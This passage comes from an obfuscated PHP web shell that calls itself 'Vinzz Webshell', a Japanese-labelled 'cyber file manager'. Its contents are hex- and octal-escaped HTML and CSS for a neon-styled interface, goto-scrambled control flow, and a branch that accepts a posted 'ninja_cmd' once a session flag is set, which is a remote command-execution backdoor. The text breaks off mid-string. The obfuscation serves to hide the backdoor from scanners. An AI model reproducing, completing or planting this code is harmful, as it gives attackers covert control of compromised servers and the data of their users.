x3e\xd\12\40\40\74\x2f\144\151\x76\x3e\xd\12\x3c\57\x64\151\166\76\15\xa\15\xa\15\12\40\x20\x20\40\x3c\144\151\x76\40\x63\154\x61\163\x73\x3d\42\x70\x61\x6e\x65\154\42\76\15\xa\40\x20\74\x68\62\40\143\x6c\141\x73\x73\75\42\147\154\x69\164\x63\150\42\x3e\360\x9f\227\202\357\xb8\x8f\40\xe3\x83\x95\343\202\241\343\x82\xa4\343\203\253\343\203\226\343\x83\251\343\x82\246\xe3\x82\266\74\x2f\150\x32\x3e\xd\12\74\144\x69\166\x20\x73\164\x79\154\x65\75\42\155\141\x72\x67\151\x6e\x2d\x62\x6f\x74\164\157\x6d\72\x20\x31\162\145\x6d\73\42\x3e\xd\xa"; goto AMRn5; HW4gH: if ($n2MWI !== false) { goto SHRg1; } goto X8OJa; PkEOZ: echo "\40\40\40\40\x3c\x2f\144\x69\x76\x3e\15\12\40\x20"; goto kRkOs; mwu43: A4xwh: goto UyB4k; gYELE: if (!(isset($_POST["\156\x69\156\x6a\x61\x5f\143\x6d\x64"]) && $_SESSION["\156\151\x6e\152\141\x5f\141\x75\164\150"])) { goto wx1qX; } goto j5hUI; H51hN: echo "\x3c\x2f\x74\x64\76\74\57\x74\x72\76\xd\12\40\x20\x3c\x74\162\x3e\x3c\164\150\x3e\xe3\x83\x89\343\x82\xad\343\x83\xa5\343\203\xa1\343\203\263\xe3\x83\x88\343\x83\253\343\203\274\343\203\x88\x3c\x2f\164\x68\x3e\74\x74\144\76"; goto ZVu74; ibCkB: echo urlencode(dirname($wkgHW)); goto fPYnz; nnAvM: AB3wn: goto S_sUM; oJG4W: HIfDi: goto Pg3rr; QQNm8: echo "\74\x21\104\117\x43\124\131\x50\105\40\150\x74\155\x6c\x3e\15\xa\74\x68\164\x6d\154\40\x6c\141\x6e\147\x3d\x22\152\x61\42\x3e\15\xa\x3c\x68\145\141\x64\76\15\12\40\x20\74\155\145\164\141\40\143\x68\x61\162\163\x65\164\x3d\42\125\124\x46\x2d\x38\x22\76\15\xa\40\40\x3c\155\145\164\x61\x20\156\x61\x6d\x65\x3d\42\x76\151\x65\167\160\157\162\x74\42\x20\x63\x6f\x6e\164\145\x6e\164\75\42\x77\151\144\x74\150\75\144\x65\166\151\x63\x65\x2d\167\x69\x64\x74\150\x2c\40\x69\156\151\x74\x69\x61\x6c\55\163\x63\x61\154\145\x3d\x31\x2e\x30\42\76\15\12\40\x20\74\164\151\164\154\x65\x3e\x56\x69\156\x7a\x7a\40\x57\145\x62\163\x68\x65\x6c\154\x20\x3a\72\x20\xe3\x82\265\343\x82\244\343\203\220\xe3\203\274\xe3\x83\x95\343\x82\241\xe3\x82\244\xe3\203\253\xe3\x83\236\343\203\215\xe3\x83\274\xe3\202\270\xe3\203\243\xe3\x83\xbc\74\57\x74\151\x74\154\x65\x3e\xd\xa\40\40\74\x6c\151\x6e\153\x20\150\x72\x65\146\x3d\x22\150\x74\x74\160\x73\72\57\x2f\146\157\x6e\x74\x73\56\x67\157\157\147\154\145\141\160\151\x73\56\143\x6f\155\x2f\x63\163\x73\x32\x3f\146\141\x6d\151\154\x79\75\120\x72\145\163\163\53\x53\164\x61\x72\x74\x2b\x32\120\46\x66\141\155\151\154\171\75\112\145\x74\x42\x72\141\x69\x6e\x73\x2b\x4d\x6f\x6e\157\x3a\167\x67\x68\164\100\64\x30\60\x3b\67\60\x30\46\x64\x69\163\x70\x6c\141\x79\x3d\x73\x77\141\160\x22\x20\x72\x65\x6c\x3d\42\163\164\171\x6c\x65\x73\150\145\145\x74\x22\76\15\12\x20\40\x3c\x73\x63\162\x69\x70\x74\40\163\162\x63\x3d\42\x68\164\164\x70\x73\72\57\57\165\156\x70\153\x67\56\x63\157\155\x2f\154\x75\x63\x69\144\145\x40\x6c\141\164\145\163\x74\x22\x3e\x3c\57\163\x63\x72\151\x70\x74\76\xd\12\x3c\x73\x74\171\x6c\x65\x3e\15\xa\x3a\162\x6f\157\x74\x20\173\15\xa\40\40\55\x2d\156\145\x6f\x6e\x2d\x70\151\x6e\x6b\72\40\x23\x66\146\60\60\x61\x61\x3b\15\12\x20\x20\55\x2d\x6e\x65\157\156\x2d\142\x6c\x75\145\x3a\x20\x23\x30\60\146\60\x66\146\x3b\xd\xa\x20\x20\55\55\155\141\x74\162\x69\x78\55\x67\162\145\145\156\72\40\x23\x30\60\x66\146\70\x38\x3b\15\xa\40\x20\55\55\x62\147\55\x64\141\x72\153\72\x20\x23\60\141\x30\141\x32\x30\73\xd\12\x20\40\x2d\55\x62\147\55\x64\141\162\153\x65\x72\72\x20\x23\x30\x35\60\65\61\60\x3b\xd\xa\40\40\x2d\55\164\x65\170\164\x2d\x67\154\x69\x74\x63\x68\x31\x3a\40\x76\x61\x72\50\55\55\x6e\145\x6f\x6e\x2d\160\151\x6e\153\x29\x3b\xd\xa\40\40\55\55\x74\145\170\x74\55\x67\x6c\151\164\x63\150\x32\x3a\40\x76\141\x72\x28\x2d\55\156\145\x6f\x6e\55\142\154\165\145\x29\73\xd\xa\x7d\15\xa\xd\xa\142\x6f\x64\x79\40\173\xd\xa\x20\40\x6d\x61\x72\x67\x69\x6e\72\40\x30\73\xd\12\x20\x20\142\x61\x63\153\147\162\157\x75\x6e\144\x3a\x20\x76\141\162\x28\x2d\x2d\x62\147\x2d\144\141\162\x6b\x65\162\x29\x3b\xd\12\40\40\x62\x61\x63\x6b\147\162\157\165\156\x64\x2d\151\155\141\x67\x65\72\x20\15\xa\40\x20\40\x20\x72\141\144\151\141\x6c\x2d\x67\x72\141\144\151\x65\156\x74\50\x63\151\x72\143\154\145\x20\141\x74\x20\61\60\45\x20\62\x30\45\x2c\40\x72\147\142\141\50\x32\65\65\x2c\x20\x30\x2c\x20\61\67\x30\54\x20\60\x2e\61\51\x20\x30\x25\54\x20\164\162\x61\156\x73\x70\141\x72\145\156\x74\x20\x32\x30\x25\51\54\15\12\40\40\40\x20\162\x61\144\151\x61\x6c\x2d\x67\162\x61\x64\x69\x65\156\x74\50\x63\x69\x72\143\154\x65\x20\141\x74\40\71\60\45\x20\x38\60\x25\x2c\x20\x72\147\142\141\x28\x30\x2c\40\x32\64\60\54\40\x32\x35\x35\x2c\x20\x30\x2e\x31\51\40\60\45\54\x20\164\x72\141\x6e\x73\160\x61\x72\145\x6e\164\40\x32\60\x25\x29\x3b\15\12\40\40\x63\157\x6c\157\x72\72\40\43\145\60\x65\x30\146\x66\x3b\xd\12\x20\x20\146\x6f\156\x74\55\x66\x61\x6d\151\x6c\x79\72\40\x27\x4a\145\x74\102\x72\x61\x69\156\163\x20\x4d\157\x6e\x6f\x27\x2c\x20\x6d\157\x6e\x6f\x73\x70\x61\143\145\x3b\15\12\40\x20\160\141\x64\144\x69\156\147\72\40\x32\x30\x70\170\x3b\15\12\x20\40\154\x69\156\x65\x2d\x68\145\x69\147\150\164\72\40\x31\56\66\73\15\xa\x7d\15\xa\xd\12\x2e\147\154\x69\x74\x63\x68\40\173\xd\xa\40\40\x74\145\x78\164\x2d\x73\150\141\144\x6f\167\72\40\x32\160\x78\40\x32\160\x78\40\x30\x20\166\141\x72\50\x2d\x2d\x74\145\170\164\55\x67\154\x69\x74\x63\x68\61\51\x2c\x20\55\x32\x70\x78\40\x2d\x32\160\x78\40\60\x20\166\141\x72\50\x2d\x2d\x74\x65\170\x74\55\x67\154\151\164\x63\150\62\x29\73\15\12\x20\40\141\156\x69\x6d\141\164\x69\157\x6e\x3a\x20\x67\154\x69\164\143\x68\40\x31\163\x20\154\151\x6e\145\x61\162\x20\x69\x6e\x66\x69\156\x69\x74\145\x3b\xd\12\x7d\xd\12\xd\12\x40\153\145\x79\x66\x72\x61\155\145\163\x20\147\x6c\x69\164\x63\150\x20\173\15\12\40\x20\60\x25\54\40\x31\60\x30\x25\40\x7b\40\164\145\170\x74\55\x73\x68\141\x64\157\167\x3a\40\x32\x70\170\x20\62\x70\170\x20\x76\x61\x72\x28\55\x2d\164\x65\170\x74\55\x67\154\x69\164\143\x68\61\x29\54\40\55\x32\160\x78\40\55\x32\x70\170\40\166\x61\162\x28\x2d\x2d\x74\145\x78\164\x2d\x67\x6c\151\164\x63\150\x32\51\x3b\40\175\xd\xa\x20\x20\62\x35\45\40\x7b\x20\164\145\170\x74\55\163\x68\141\x64\157\x77\x3a\40\55\x32\x70\170\40\x2d\62\x70\170\40\x76\x61\x72\50\55\x2d\x74\x65\x78\x74\55\147\x6c\x69\164\143\x68\61\x29\54\40\62\160\x78\40\x32\160\x78\40\x76\x61\162\x28\x2d\x2d\x74\145\170\164\x2d\147\x6c\x69\x74\x63\150\62\51\73\x20\x7d\15\12\40\x20\65\x30\x25\x20\x7b\x20\164\x65\x78\164\55\x73\x68\141\x64\x6f\x77\x3a\40\62\x70\x78\40\55\62\x70\170\x20\166\141\162\x28\x2d\x2d\164\x65\170\164\55\x67\154\x69\164\x63\150\x31\51\x2c\40\x2d\62\160\x78\40\x32\x70\x78\x20\x76\141\162\50\55\x2d\164\145\x78\164\55\147\x6c\x69\164\143\x68\62\51\73\40\175\15\12\x20\40\67\65\45\40\x7b\x20\164\x65\170\x74\55\163\150\141\144\157\x77\x3a\x20\x2d\62\x70\x78\40\x32\x70\x78\40\166\x61\162\50\55\55\164\145\170\164\x2d\x67\x6c\151\164\x63\150\61\51\x2c\x20\62\x70\x78\x20\55\x32\x70\170\x20\x76\x61\162\50\x2d\x2d\164\145\x78\x74\55\147\154\x69\164\143\150\x32\51\x3b\40\175\15\xa\175\15\xa\15\xa\x40\x6b\145\171\146\162\141\155\x65\x73\40\x6c\x65\144\x2d\162\x75\156\x20\173\xd\12\40\40\x30\x25\40\x7b\x20\142\141\x63\153\147\162\x6f\165\156\144\x2d\x70\157\x73\x69\164\151\157\x6e\72\40\60\45\40\x30\x3b\40\x7d\15\12\40\40\x31\x30\60\45\40\173\40\142\x61\x63\153\147\x72\157\165\x6e\x64\55\x70\x6f\163\x69\164\151\157\x6e\x3a\x20\x2d\x32\60\60\45\x20\x30\x3b\x20\175\xd\xa\x7d\xd\xa\15\12\x68\x65\x61\144\x65\162\x20\x7b\15\xa\x20\40\x62\x61\143\153\147\x72\x6f\x75\156\x64\x3a\x20\162\x67\x62\x61\50\61\x30\54\x20\x31\60\x2c\x20\63\62\x2c\40\60\x2e\70\x29\x3b\xd\xa\x20\40\160\141\x64\x64\151\156\147\x3a\40\61\x2e\x35\162\x65\155\x3b\15\xa\x20\40\x62\157\x72\144\145\x72\x2d\154\x65\x66\x74\x3a\x20\x35\160\170\40\163\x6f\154\151\x64\x20\x76\x61\x72\50\55\x2d\156\145\x6f\156\55\x70\x69\x6e\x6b\51\x3b\xd\xa\x20\x20\x62\157\162\144\x65\x72\x2d\x72\151\x67\150\164\72\x20\x35\x70\170\40\x73\157\154\x69\144\x20\x76\x61\162\x28\x2d\55\x6e\x65\157\x6e\55\142\154\165\145\x29\73\xd\12\40\40\155\x61\x72\x67\151\156\x2d\x62\157\x74\x74\x6f\x6d\x3a\x20\x32\162\145\155\x3b\15\xa\40\40\164\x65\170\164\x2d\x61\154\151\147\156\x3a\40\143\x65\156\164\145\162\x3b\15\xa\40\x20\142\x61\143\x6b\x64\x72\157\160\x2d\146\x69\154\164\145\x72\72\x20\x62\x6c\x75\x72\x28\65\x70\170\x29\73\15\xa\40\x20\142\157\x78\55\163\x68\x61\x64\x6f\167\72\40\x30\x20\60\x20\62\60\160\170\40\166\141\x72\50\55\55\156\x65\157\x6e\55\160\x69\156\x6b\x29\x3b\xd\12\x20\x20\160\x6f\x73\151\164\x69\157\156\72\x20\x72\145\x6c\141\164\151\166\x65\x3b\xd\xa\175\15\xa\xd\xa\150\145\141\144\x65\162\x3a\72\x62\x65\x66\157\x72\145\40\173\xd\xa\x20\40\x63\157\156\164\145\x6e\164\x3a\40\42\x22\x3b\xd\12\x20\40\160\x6f\163\151\x74\151\157\156\72\40\x61\142\x73\x6f\x6c\x75\x74\x65\x3b\xd\12\x20\40\164\157\160\x3a\40\x30\x3b\15\12\40\40\154\x65\x66\x74\72\x20\60\73\15\xa\x20\40\162\x69\147\x68\x74\72\x20\60\x3b\15\xa\x20\x20\150\x65\x69\x67\150\164\72\x20\x34\x70\170\x3b\xd\xa\40\x20\x62\141\x63\153\147\162\157\165\x6e\144\x3a\x20\x6c\151\156\145\x61\x72\x2d\x67\x72\141\144\x69\145\x6e\164\50\71\60\x64\x65\x67\x2c\x20\x76\x61\x72\x28\55\x2d\x6e\x65\157\156\x2d\160\151\156\x6b\x29\54\40\x76\141\162\x28\55\x2d\156\145\157\156\x2d\142\154\165\145\x29\x2c\x20\x76\x61\162\x28\x2d\55\156\x65\157\x6e\x2d\x70\x69\156\x6b\51\x2c\x20\166\141\x72\x28\x2d\x2d\x6e\x65\x6f\x6e\x2d\142\154\165\x65\x29\51\73\xd\12\x20\40\x62\141\x63\x6b\x67\162\x6f\165\x6e\144\x2d\163\151\172\145\72\40\x32\60\x30\45\40\x31\x30\60\x25\73\xd\xa\x20\40\141\x6e\151\155\x61\164\x69\157\x6e\x3a\x20\x6c\x65\x64\x2d\x72\x75\x6e\x20\x32\163\x20\154\x69\156\145\141\x72\40\x69\x6e\x66\x69\x6e\151\164\x65\73\15\xa\175\15\xa\15\12\x68\61\x2c\40\150\62\x20\x7b\xd\xa\x20\40\146\x6f\156\164\x2d\146\141\155\151\154\x79\x3a\x20\x27\120\x72\x65\x73\163\x20\x53\164\141\x72\x74\x20\62\120\x27\x2c\x20\x63\x75\162\x73\x69\166\x65\73\15\12\x20\40\143\x6f\x6c\157\x72\x3a\40\166\141\162\x28\55\x2d\x6d\141\x74\x72\x69\170\x2d\x67\x72\x65\x65\x6e\x29\x3b\xd\xa\175\xd\12\15\xa\150\x31\x20\173\15\xa\x20\40\x66\157\156\164\55\163\x69\172\x65\72\x20\62\x72\x65\x6d\x3b\xd\12\40\x20\155\141\x72\x67\151\156\x3a\x20\60\40\x30\x20\x31\60\x70\x78\73\xd\12\x20\x20\154\x65\x74\164\145\162\55\x73\160\x61\143\x69\156\x67\x3a\40\x32\x70\170\x3b\xd\12\x7d\15\xa\15\12\56\x70\141\x6e\145\154\40\173\xd\xa\40\x20\x62\141\x63\x6b\x67\x72\157\x75\156\x64\72\40\166\x61\x72\50\55\x2d\142\147\x2d\x64\x61\162\153\x29\x3b\15\12\x20\40\x70\x61\x64\x64\151\156\x67\72\x20\x31\56\65\162\x65\x6d\73\15\12\x20\x20\x62\x6f\x72\x64\145\162\72\x20\x31\160\170\x20\163\x6f\154\x69\144\40\x23\63\63\63\73\xd\12\40\40\x6d\x61\x72\147\x69\x6e\x2d\142\157\164\x74\157\155\x3a\x20\x32\162\x65\155\73\xd\xa\40\x20\x70\x6f\163\151\x74\151\157\x6e\72\40\162\145\x6c\x61\164\x69\x76\145\x3b\xd\12\x20\x20\157\x76\145\162\x66\x6c\157\167\72\40\x68\x69\x64\144\145\x6e\73\xd\xa\x7d\xd\xa\15\12\56\x70\x61\156\x65\154\72\72\x62\x65\x66\x6f\162\x65\40\x7b\15\12\40\x20\x63\x6f\x6e\164\145\156\164\72\40\x22\42\x3b\15\xa\40\40\160\157\x73\151\x74\151\157\x6e\72\x20\x61\142\163\x6f\154\165\164\145\x3b\xd\12\x20\x20\164\157\160\x3a\40\x30\73\15\xa\40\40\x6c\145\146\164\72\x20\x30\x3b\xd\12\40\40\162\x69\147\150\x74\72\40\60\73\15\xa\40\x20\x68\145\151\x67\x68\x74\72\x20\64\x70\x78\x3b\xd\12\40\x20\x62\141\143\153\147\162\x6f\165\x6e\144\72\x20\x6c\x69\x6e\x65\141\162\x2d\147\162\x61\x64\151\x65\156\x74\x28\71\x30\x64\145\x67\x2c\40\166\141\x72\50\55\55\156\x65\157\156\55\x70\151\x6e\x6b\51\x2c\x20\166\141\x72\50\55\x2d\x6e\x65\157\x6e\55\142\154\165\x65\x29\x2c\40\166\x61\162\50\x2d\x2d\156\145\157\156\55\x70\x69\x6e\x6b\x29\54\40\x76\x61\162\x28\55\55\156\145\157\x6e\55\x62\x6c\165\x65\51\51\73\xd\12\x20\40\x62\141\x63\x6b\147\x72\x6f\x75\x6e\x64\55\163\151\172\x65\x3a\x20\x32\60\60\x25\40\61\60\60\45\x3b\15\12\40\x20\x61\156\x69\155\141\x74\x69\157\156\x3a\40\154\145\144\x2d\162\165\156\x20\62\163\x20\x6c\x69\156\145\141\162\40\x69\156\146\x69\156\151\164\x65\73\15\12\x7d\xd\xa\xd\12\151\x6e\x70\x75\x74\54\x20\163\x65\154\145\143\x74\x2c\x20\x62\165\x74\x74\157\156\x2c\40\164\x65\170\164\x61\x72\x65\141\x20\x7b\15\12\40\40\x77\151\x64\x74\x68\72\40\x31\x30\x30\x25\73\xd\xa\x20\x20\160\141\x64\144\151\x6e\x67\72\40\x31\x32\160\x78\73\15\12\x20\x20\x6d\141\x72\x67\x69\156\x2d\x62\157\x74\164\157\x6d\x3a\40\61\162\145\155\73\xd\xa\x20\x20\142\x6f\x72\x64\x65\x72\72\40\61\x70\x78\x20\163\157\x6c\x69\144\x20\43\63\x33\63\x3b\15\xa\x20\x20\x62\141\143\153\x67\x72\157\165\x6e\144\72\40\x72\147\142\x61\50\x31\x35\x2c\x20\61\x35\x2c\x20\x33\65\54\40\x30\56\x38\x29\x3b\15\12\x20\x20\x63\x6f\154\x6f\162\72\x20\43\x65\60\x65\60\x66\146\73\15\12\40\x20\x66\x6f\x6e\164\55\x66\141\x6d\151\154\171\x3a\40\x27\112\x65\164\x42\162\x61\x69\x6e\163\40\x4d\x6f\156\157\47\54\x20\x6d\157\156\x6f\163\x70\x61\x63\145\x3b\15\xa\x20\x20\x62\x6f\162\144\145\x72\55\154\145\146\x74\72\x20\63\160\170\x20\163\x6f\x6c\151\x64\40\166\x61\x72\50\x2d\55\x6e\x65\x6f\x6e\55\x70\x69\156\x6b\x29\x3b\15\xa\175\15\12\xd\12\x2e\x66\x69\154\x65\x2d\x6c\151\163\x74\40\x7b\xd\12\x20\40\142\157\162\144\145\162\x3a\x20\x31\x70\x78\40\x73\x6f\x6c\151\144\40\43\x33\x33\63\73\xd\xa\40\x20\142\141\143\x6b\x67\x72\x6f\165\x6e\x64\72\x20\166\141\162\50\x2d\x2d\142\x67\x2d\144\141\x72\x6b\x29\73\15\12\40\40\142\157\x78\55\163\150\141\144\x6f\x77\x3a\x20\60\x20\60\x20\70\x70\x78\40\166\141\x72\50\55\x2d\x6e\145\157\156\55\x70\151\156\153\x29\73\xd\12\40\x20\x70\x61\144\x64\151\x6e\147\72\x20\x31\x30\160\x78\x3b\15\xa\40\x20\157\x76\x65\x72\x66\x6c\x6f\x77\x2d\x78\x3a\x20\x61\165\x74\157\73\15\12\x7d\15\xa\15\12\56\x66\151\154\x65\x2d\x69\164\x65\155\x20\x7b\xd\12\x20\x20\x62\x61\143\x6b\147\162\x6f\x75\156\144\x3a\x20\162\147\142\x61\50\x32\60\54\40\x32\x30\54\x20\x34\60\x2c\x20\60\56\x37\51\x3b\15\12\40\40\x62\157\x72\144\x65\x72\x2d\x6c\145\x66\x74\72\x20\x34\160\170\40\163\x6f\x6c\x69\x64\40\166\141\162\x28\55\55\x6e\145\x6f\x6e\55\x70\x69\x6e\x6b\x29\73\xd\12\x20\40\x6d\141\162\x67\151\x6e\x2d\x62\157\164\164\x6f\x6d\72\40\70\160\x78\73\xd\xa\x20\40\160\x61\x64\144\151\x6e\x67\x3a\40\x31\60\x70\x78\73\15\xa\x20\40\144\x69\x73\x70\x6c\x61\171\x3a\40\146\154\x65\x78\73\xd\xa\40\40\152\165\x73\164\151\x66\x79\55\143\157\156\x74\x65\x6e\164\x3a\40\163\160\x61\x63\145\x2d\x62\x65\164\x77\145\145\x6e\x3b\15\12\x20\x20\141\x6c\151\147\156\x2d\x69\164\x65\x6d\163\72\40\x63\145\156\x74\145\162\x3b\xd\12\40\40\x74\162\x61\x6e\163\x69\164\x69\157\156\72\40\141\x6c\154\40\x30\56\63\x73\x20\145\141\163\145\x3b\xd\xa\x7d\15\12\xd\xa\56\146\151\x6c\x65\55\x69\164\145\155\x3a\150\x6f\166\145\162\x20\173\15\12\40\x20\142\x61\143\x6b\x67\x72\x6f\165\156\144\72\40\x72\x67\142\x61\50\63\x30\x2c\x20\x33\x30\x2c\40\66\x30\x2c\40\60\56\71\51\x3b\15\12\x20\x20\x62\157\x72\144\x65\162\x2d\154\x65\146\x74\x3a\40\64\160\x78\x20\163\157\154\151\x64\40\166\x61\x72\50\55\x2d\x6e\145\157\156\x2d\142\154\165\145\x29\73\15\12\175\15\xa\xd\xa\56\x66\151\154\145\55\x69\x74\x65\155\x20\141\x20\x7b\xd\xa\x20\40\143\x6f\x6c\157\162\72\40\x76\141\162\x28\x2d\x2d\155\141\x74\x72\x69\x78\55\147\162\x65\145\x6e\51\x3b\xd\xa\x20\40\164\145\x78\164\x2d\x64\x65\143\157\x72\141\164\151\x6f\156\x3a\40\x6e\157\x6e\x65\73\15\xa\40\40\146\x6f\156\164\x2d\x66\141\x6d\x69\x6c\x79\72\x20\x27\x4a\145\164\x42\x72\141\x69\x6e\x73\40\115\x6f\x6e\x6f\47\x2c\40\x6d\157\156\x6f\x73\x70\141\x63\145\x3b\15\12\175\15\12\xd\12\x2e\146\151\154\x65\55\151\x74\x65\155\40\141\x3a\150\x6f\166\145\x72\40\x7b\15\xa\40\x20\x74\145\170\164\55\163\x68\x61\x64\157\x77\x3a\40\x30\40\60\40\x38\x70\170\x20\166\141\x72\50\55\55\156\x65\157\156\x2d\142\x6c\x75\x65\51\73\15\12\175\15\12\15\xa\56\x70\x61\x6e\145\x6c\72\x3a\x62\145\146\157\x72\145\x20\x7b\15\xa\x20\x20\143\157\156\x74\x65\156\x74\x3a\x20\x22\42\73\xd\xa\40\40\x70\x6f\163\151\x74\151\157\x6e\72\40\x61\142\x73\157\154\165\164\x65\73\15\12\x20\40\164\157\x70\x3a\40\60\x3b\15\12\x20\40\154\x65\146\x74\x3a\40\x30\73\15\xa\40\x20\x68\145\151\x67\150\164\72\40\x34\x70\x78\x3b\15\xa\40\40\x77\x69\x64\164\150\x3a\40\x31\x30\60\x25\73\xd\xa\x20\x20\x62\141\143\x6b\147\x72\x6f\165\156\144\72\x20\154\x69\156\145\141\x72\x2d\x67\162\141\x64\x69\x65\x6e\164\x28\x39\x30\144\145\147\54\15\12\x20\40\x20\x20\40\x20\x76\x61\x72\50\55\55\x6e\x65\x6f\156\x2d\160\151\156\x6b\51\54\15\12\40\x20\x20\40\40\40\166\x61\162\50\x2d\x2d\x6e\145\157\156\x2d\x62\154\x75\145\51\54\15\xa\x20\40\40\x20\x20\x20\x76\141\162\x28\x2d\x2d\156\145\157\156\55\x70\x69\x6e\x6b\x29\x2c\xd\xa\x20\x20\40\x20\40\x20\166\141\162\x28\x2d\55\x6e\x65\157\156\x2d\x62\154\x75\x65\x29\x29\x3b\xd\xa\40\40\142\x61\143\153\147\x72\x6f\165\156\144\x2d\x73\x69\x7a\145\72\x20\62\x30\60\x25\40\61\60\60\45\x3b\xd\12\40\x20\x61\156\151\155\x61\164\151\x6f\x6e\72\x20\x6c\145\x64\x2d\x72\x75\x6e\x20\62\x73\x20\x6c\x69\x6e\145\141\x72\40\x69\x6e\x66\x69\156\151\x74\x65\73\15\12\x7d\15\xa\15\xa\150\62\56\x63\145\156\x74\x65\162\x20\x7b\xd\xa\x20\40\164\145\x78\164\x2d\x61\x6c\151\x67\156\x3a\40\143\145\x6e\164\145\x72\x3b\xd\xa\x7d\15\12\xd\xa\x2e\x74\157\157\x6c\x2d\163\145\x63\164\151\x6f\x6e\40\x7b\xd\xa\40\x20\155\x61\x72\147\x69\156\x2d\164\x6f\160\x3a\40\x31\x72\145\155\73\15\xa\x7d\xd\xa\xd\12\x2e\x74\x6f\x6f\154\x2d\x66\157\162\x6d\40\173\15\12\40\x20\x64\x69\163\160\154\x61\x79\x3a\x20\x66\x6c\145\x78\x3b\15\xa\40\40\146\x6c\x65\170\55\x77\162\x61\160\72\x20\x77\162\x61\160\x3b\15\xa\40\40\x67\x61\160\72\40\x31\x30\x70\x78\x3b\xd\12\40\40\x61\x6c\x69\147\156\55\x69\164\145\155\x73\x3a\x20\143\x65\x6e\164\x65\162\x3b\xd\xa\40\x20\152\x75\x73\164\151\x66\x79\55\143\x6f\156\x74\145\x6e\x74\x3a\x20\x63\x65\156\x74\145\x72\73\15\12\175\15\12\xd\xa\56\164\157\x6f\x6c\55\x66\x6f\x72\x6d\x20\x69\156\x70\x75\164\54\15\xa\56\164\x6f\x6f\154\x2d\146\x6f\x72\x6d\x20\x73\x65\154\x65\x63\164\x2c\15\12\56\x74\157\x6f\x6c\x2d\146\157\x72\155\40\142\165\x74\164\157\x6e\40\173\15\xa\x20\40\x66\x6c\145\170\72\40\x31\40\61\40\62\x30\x30\x70\170\73\xd\12\x7d\xd\12\15\12\56\162\165\x6e\156\151\156\147\x2d\x68\145\141\x64\x65\x72\x20\x7b\xd\xa\x20\40\x70\x6f\x73\x69\164\151\157\x6e\x3a\40\162\x65\154\141\164\x69\166\x65\x3b\xd\12\x20\x20\155\x61\x72\x67\151\x6e\x2d\142\x6f\164\x74\x6f\x6d\x3a\40\61\162\x65\x6d\x3b\xd\xa\40\40\x70\x61\144\x64\x69\156\x67\55\x62\157\164\164\157\155\72\x20\60\x2e\x35\x72\x65\x6d\x3b\xd\xa\40\40\146\157\156\164\55\x66\x61\155\x69\x6c\171\72\40\47\120\x72\x65\163\x73\x20\123\164\x61\162\x74\x20\62\120\47\x2c\40\x63\x75\x72\x73\x69\x76\145\x3b\xd\12\x20\40\x63\157\154\x6f\162\x3a\40\x76\x61\x72\50\55\x2d\x6d\x61\x74\162\x69\170\x2d\147\x72\145\x65\156\x29\73\xd\xa\x7d\15\xa\xd\xa\56\162\165\156\x6e\151\x6e\x67\x2d\x68\x65\141\x64\x65\x72\x2e\x6c\145\146\164\40\173\xd\xa\40\40\x74\145\170\164\x2d\x61\154\x69\147\x6e\x3a\40\x6c\x65\x66\x74\x3b\xd\xa\175\15\12\xd\12\x2e\x72\165\156\x6e\151\156\147\x2d\x68\145\x61\144\145\x72\x2e\154\x65\x66\x74\x3a\x3a\141\x66\164\145\162\40\x7b\15\xa\x20\40\143\x6f\x6e\x74\145\156\x74\72\40\x22\x22\73\15\12\40\x20\x70\x6f\x73\151\164\x69\x6f\156\72\x20\x61\x62\163\157\154\x75\x74\145\x3b\15\12\x20\x20\142\157\x74\x74\157\155\72\x20\60\x3b\15\12\40\x20\x6c\145\x66\x74\72\40\60\73\xd\12\x20\x20\150\x65\x69\147\x68\164\72\40\x33\160\170\73\15\12\x20\40\x77\x69\x64\164\150\72\x20\x32\60\x30\x70\x78\x3b\x20\57\52\x20\157\x70\x73\151\x6f\x6e\141\154\x3a\40\160\141\156\x6a\x61\x6e\147\x20\114\x45\x44\40\x62\151\x73\x61\40\x64\x69\x61\x74\165\x72\x20\x2a\x2f\15\12\40\40\x62\x61\x63\153\x67\162\x6f\165\x6e\144\72\x20\x6c\151\x6e\x65\141\162\x2d\x67\x72\x61\x64\x69\x65\x6e\x74\50\71\60\x64\145\147\54\15\xa\x20\x20\x20\40\x20\x20\166\141\162\50\x2d\55\x6e\x65\x6f\156\55\x70\x69\x6e\x6b\51\x2c\15\12\40\x20\40\40\40\40\x76\141\x72\x28\x2d\x2d\156\145\157\x6e\55\x62\x6c\165\x65\x29\54\xd\12\40\x20\40\40\40\x20\x76\141\x72\50\55\55\156\145\x6f\156\x2d\160\x69\156\153\51\x2c\15\xa\x20\x20\x20\40\40\40\166\x61\162\x28\x2d\55\156\x65\157\x6e\x2d\142\x6c\x75\x65\51\x29\73\15\xa\40\40\x62\x61\143\153\147\162\157\165\x6e\x64\55\x73\151\172\145\x3a\40\x32\60\60\45\40\61\60\x30\x25\73\15\xa\40\40\141\156\x69\155\x61\164\x69\157\156\x3a\40\x6c\145\x64\x2d\x72\x75\156\40\63\x73\x20\154\151\156\x65\141\162\40\151\156\146\151\156\x69\x74\x65\73\15\12\x7d\15\12\15\xa\xd\12\141\x20\173\15\xa\x20\40\x63\x6f\x6c\x6f\x72\72\x20\x76\141\162\50\55\x2d\x6d\x61\164\162\151\170\x2d\x67\162\x65\145\156\x29\73\xd\12\x20\x20\164\145\170\x74\55\x64\x65\x63\x6f\x72\x61\x74\151\157\156\x3a\x20\x6e\x6f\156\145\x3b\xd\xa\175\xd\xa\xd\12\141\x3a\150\157\166\x65\162\x20\x7b\15\12\40\x20\x74\145\170\x74\x2d\163\150\x61\x64\x6f\x77\72\40\x30\40\x30\x20\x38\160\170\x20\166\141\x72\x28\55\55\156\x65\x6f\156\x2d\x62\154\x75\145\51\x3b\15\12\175\15\12\15\xa\x2e\x74\x65\162\x6d\151\156\141\154\40\173\15\xa\x20\x20\x62\x61\x63\x6b\x67\162\157\165\156\144\72\40\x23\x30\x30\60\x3b\15\12\x20\x20\160\x61\144\x64\151\x6e\147\72\40\x31\162\145\155\x3b\15\12\40\x20\x62\x6f\x72\x64\x65\162\72\40\x31\x70\170\40\x73\157\154\151\x64\40\x76\141\x72\50\55\55\155\x61\164\x72\151\170\x2d\147\162\x65\145\x6e\x29\x3b\xd\12\x20\40\143\157\x6c\157\x72\x3a\x20\x76\141\x72\50\x2d\x2d\155\141\164\x72\151\x78\55\x67\162\x65\x65\x6e\x29\73\xd\12\40\x20\x66\x6f\x6e\x74\55\146\141\x6d\x69\x6c\171\x3a\40\x27\x4a\145\x74\x42\x72\141\x69\156\x73\x20\x4d\x6f\156\157\47\54\40\x6d\x6f\156\x6f\x73\x70\141\x63\145\x3b\xd\xa\x20\40\155\141\162\147\x69\156\55\164\157\160\72\40\x32\